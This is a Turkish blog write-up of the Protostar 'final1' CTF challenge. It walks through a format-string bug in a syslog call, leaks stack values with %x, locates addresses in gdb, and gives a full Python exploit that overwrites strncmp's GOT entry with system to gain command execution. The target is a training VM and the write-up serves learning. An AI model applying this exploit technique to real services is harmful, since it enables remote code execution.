Avatar Ben Süleyman ERGEN. Siber güvenlik ile uğraşmayı seviyorum. Bol bol ctf çözer ve write-up yazarım. Burada ise edindiğim tecrübeleri ve bilgileri paylaşıyorum.

Protostar Final 1 Writeup

Protostar Final 1 Writeup

Herkese tekrardan merhabalar.

Bu gün elimden geldiğince Protostar Final 1 sorusunu çözmeye çalışacağım.

İnceleme

Öncelikle kaynak koddan incelemeya başlayalım.

#include "../common/common.c"

#include <syslog.h>

#define NAME "final1"
#define UID 0
#define GID 0
#define PORT 2994

char username[128];
char hostname[64];

void logit(char *pw)
{
  char buf[512];

  snprintf(buf, sizeof(buf), "Login from %s as [%s] with password [%s]\n", hostname, username, pw);

  syslog(LOG_USER|LOG_DEBUG, buf);
}

void trim(char *str)
{
  char *q;

  q = strchr(str, '\r');
  if(q) *q = 0;
  q = strchr(str, '\n');
  if(q) *q = 0;
}

void parser()
{
  char line[128];

  printf("[final1] $ ");

  while(fgets(line, sizeof(line)-1, stdin)) {
      trim(line);
      if(strncmp(line, "username ", 9) == 0) {
          strcpy(username, line+9);
      } else if(strncmp(line, "login ", 6) == 0) {
          if(username[0] == 0) {
              printf("invalid protocol\n");
          } else {
              logit(line + 6);
              printf("login failed\n");
          }
      }
      printf("[final1] $ ");
  }
}

void getipport()
{
  int l;	
  struct sockaddr_in sin;

  l = sizeof(struct sockaddr_in);
  if(getpeername(0, &sin, &l) == -1) {
      err(1, "you don't exist");
  }

  sprintf(hostname, "%s:%d", inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));
}

int main(int argc, char **argv, char **envp)
{
  int fd;
  char *username;

  /* Run the process as a daemon */
  background_process(NAME, UID, GID); 
  
  /* Wait for socket activity and return */
  fd = serve_forever(PORT);

  /* Set the client socket to STDIN, STDOUT, and STDERR */
  set_io(fd);

  getipport();
  parser();
}

main fonksiyonunda gerekli network ayarlarını yaptıktan sonra getipport ve parser fonksiyonlarını çağırdığını görebilirsiniz. getipport hostname değişkenine ip ve port değerlerini aralarında iki nokta olacak şekilde kaydediyor.

Ardından parser fonksiyonu çalışıyor. Bu fonksiyon ise bir tür login işlemi yapıyor. Username komutu ile bir değişkene kullanıcı adı kaydediyor. Ardından ise login komutu ile sahte bir login işlemi yapıyor. Eğer kullanıcı adı girişmişse login fonksiyonu çalıştırılıyor. Ardından ise “login failed” hatası veriyor.

“login failed” hatasından önce logit fonksiyonunun çalıştığını görebilirsiniz. Bu fonksiyon login işlemini logluyor. Log işlemi yapılırken syslog fonksiyonu kullanılıyor. Bu fonksiyonun man sayfasına bakalım.

final1

Buradaki açıklamadan yola çıkarak fonksiyonun 1. parametresi log seviyesi, 2. parametresi ise format string olduğunu görebiliriz. Yani format string bulunan veri bizim kontrolümüzde. Zafiyetin burada olduğunu söyleyebiliriz.

Peki loglar nerede tutuluyor. Linux sistemlerde log dizini /var/log/ dizinidir. Bu dizin altından user.log dosyasından yada syslog dosyasından oluşturulan logları okuyabilirsiniz. Not: bu dosyaları okuyabilmek için root olarak giriş yapmalısınız.

Öncelikle gerekli porta bağlanıp ufak bir deneme yapıyorum.

root@protostar:/home/user# nc localhost 2994
[final1] $ username hello
[final1] $ login HELLO
login failed

Ardından /var/log/syslog dosyasını okuyorum.

root@protostar:/var/log# tail syslog
....................................
Jul  3 10:34:53 (none) final1: Login from 127.0.0.1:41010 as [hello] with password [HELLO]

Şimdi ise parola herine “%x” gibi format string ifadeleri girelim.

root@protostar:/var/log# nc localhost 2994
[final1] $ username hello
[final1] $ login %x.%x.%x.%x
login failed

Şimdi tekrardan bakalım.

root@protostar:/var/log# tail syslog
....................................
Jul  3 10:34:53 (none) final1: Login from 127.0.0.1:41010 as [hello] with password [HELLO]
Jul  3 10:37:53 (none) final1: Login from 127.0.0.1:41011 as [hello] with password [8049ee4.804a2a0.804a220.bffffbd6]

Artık zafiyeti doğruladık. Şimdi nasıl sömürebileceğimize bakalım. Amacımız hedef sistem üzerinde komut çalıştırmak. Peki bunu nasıl yapacağız.

Kaynak kodu daha detaylı incelediğimizde parser fonksiyonu içerisinde bizden bir input alınıyor. Bu input daha sonra strncpm fonksiyonu ile karşılaştırma yapmada kullanılıyor. Eğer biz bu fonksiyonun adresini system fonksiyonu adresi ile değiştirirsek sistem üzerinde komut çalıştırabiliriz.

Fikir güzel duruyor. O zaman başlayalım. Öncelikle system ve strncmp fonksiyonlarının adreslerini bulalım.

final1 pid si 1428. gdb ile bu processe attach olup system fonksiyonunun adresini sorguluyorum.

root@protostar:/var/log# gdb -p 1428
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>

Daha sonra ise strncmp fonksiyonunun plt deki adresini sorguluyorum. Bu adresteki komutu yazdırdığımda ise 0x804a1a8 adresindeki fonksiyona atladığını gösteriyor. Bu adres ise GOT da strncmp fonksiyonunun başladığı adres. Eğer biz bu adresi system adresi ile değiştirirsek, girdiğimiz her şey system fonksiyonunda çalıştırılacak.

(gdb) info func strncmp@plt
All functions matching regular expression "strncmp@plt":
Non-debugging symbols:
0x08048d9c  strncmp@plt
(gdb) x/i 0x08048d9c
0x8048d9c <strncmp@plt>:	jmp    *0x804a1a8

O zaman exploiti yazmaya başlayalım. Gerekli kütüphaneleri import ederek ve socket bağlantısını oluşturarak başlıyorum. Fonksiyon adreslerinide hemen ardından tanımlıyorum.

import socket, telnetlib
from struct import pack

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 2994))

plt_strncpm = 0x804a1a8
system = 0xb7ecffb0

Ardından kullanıcı adını ototmati olarak giren satırlar şu şekilde:

print s.recv(1024)
s.send("username hello\n")
print s.recv(1024)

Ardından gerekli format string ifadesini gönderiyorum.

payload  = "AAABBBB"
payload += "%x.."*30

s.send("login " + payload + "\n")
print s.recv(1024)

Tekrardan logları okuduğumuzda şu satırı göreceğiz.

$ tail syslog
...............................................
Jul  3 11:39:17 (none) final1: Login from 192.168.1.102:45686 as [hello] with password [AAABBBB8049ee4..804a2a0..804a220..bffffbd6..b7fd7ff4..bffffa28..69676f4c..7266206e..31206d6f..312e3239..312e3836..3230312e..3635343a..61203638..685b2073..6f6c6c65..6977205d..70206874..77737361..2064726f..4141415b..42424242..2e2e7825..2e2e7825..2e2e7825..2e2e7825..2e2e7825..2e2e7825..%]

Bu çıktıda “41” A karakterini, “42” ise B karakterini gösteriyor. Eğer biz strncmp fonksiyonunun adresinin gösterdiği yere system fonksiyonunun adresini yazarsak sistem üzerinde komut çalıştırabiliriz.

O zaman strncmp fonksiyonunun adresini stack üzerine yazıyorum. system adresi çok büyük bir sayı olduğu için bu adresi ikiye bölüp yazacağım.

payload  = "AAA"
payload += pack("I", plt_strncpm)
payload += pack("I", plt_strncpm + 2)
payload += "BBBB" + "%x.."*25

Bu şekilde yaploadı gönderdiğimizde ise çıktı şu şekilde oluyor.

Jul  3 12:12:53 (none) final1: Login from 192.168.1.102:45720 as [hello] with password [#010BBBB8049ee4..804a2a0..804a220..bffffbd6..b7fd7ff4..bffffa28..69676f4c..7266206e..31206d6f..312e3239..312e3836..3230312e..3735343a..61203032..685b2073..6f6c6c65..6977205d..70206874..77737361..2064726f..4141415b..804a1a8..804a1aa..42424242..2e2e7825..2e2e7825..%]

Bu şekilde adreslerin düzgün bir şekilde yerleştirildiğini görmüş olduk.

Stack üzerine yazdığımız strncmp fonksiyonunun adresi %22$x ve %23$x noktalarında tutuluyor. Bunu biraz deneme yanılma ile bulabilirsiniz.

Şimdi ise %22$n ve %23$n ile bu adreslere gerekli değerleri yazmak kaldı. Bu değerleri nasıl yazabileceğimizi daha önceki yazılarımda anlatmıştım. Eğer bu noktada kafanıza takılan bir şey var ise önceki yazılarıma göz atabilirsiniz.

Payloadın son hali şu şekilde.

payload  = "AAA"
payload += pack("I", plt_strncpm)
payload += pack("I", plt_strncpm + 2)
payload += "BBBB" + "%65384d" + "%22$n" + "%47164d" + "%23$n"

Eğer bu noktada programı debugging etmek ile ilgili bir problemle karşılaşırsanız şu metodu uygulayabilirsiniz.

Öncelikle gerekli porta nc ile yada yazdığınız exploit ile bağlanın. Ardından processleri inceleyin.

final1

Yukarıdaki resimdeki alt terminalde programa nc ile bağlandım. Ardından yukarıdaki terminalde ise final1 programına ait processleri listeledim. Dikkat ederseniz iki tane process göreceksiniz. Bunlardan yüksek pid li process bizim bağlantımızla ilgilenen process dir. Debugging işleminde bu processe attach olmanız gerekmektedir. Bunu gdb ile gdb -p 1859 komutuyla yapabilirsiniz. Bu işlemden sonra debugging işlemini normal bir şekilde gdb üzerinden yapabilirsiniz.

Full exploit kodu:

#!/usr/bin/python2
import socket, telnetlib
from struct import pack

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 2994))

plt_strncpm = 0x804a1a8
system = 0xb7ecffb0

print s.recv(1024)
s.send("username hello\n")
print s.recv(1024)

payload  = "AAA"
payload += pack("I", plt_strncpm)
payload += pack("I", plt_strncpm + 2)
payload += "BBBB" + "%65384d" + "%22$n" + "%47164d" + "%23$n"

s.send("login " + payload + "\n")
print s.recv(1024)

t = telnetlib.Telnet()
t.sock = s
t.interact()

EOF

Bu yazıyıda bu şekilde tamamlamış olduk. Daha sonra görüşmek üzere …

all tags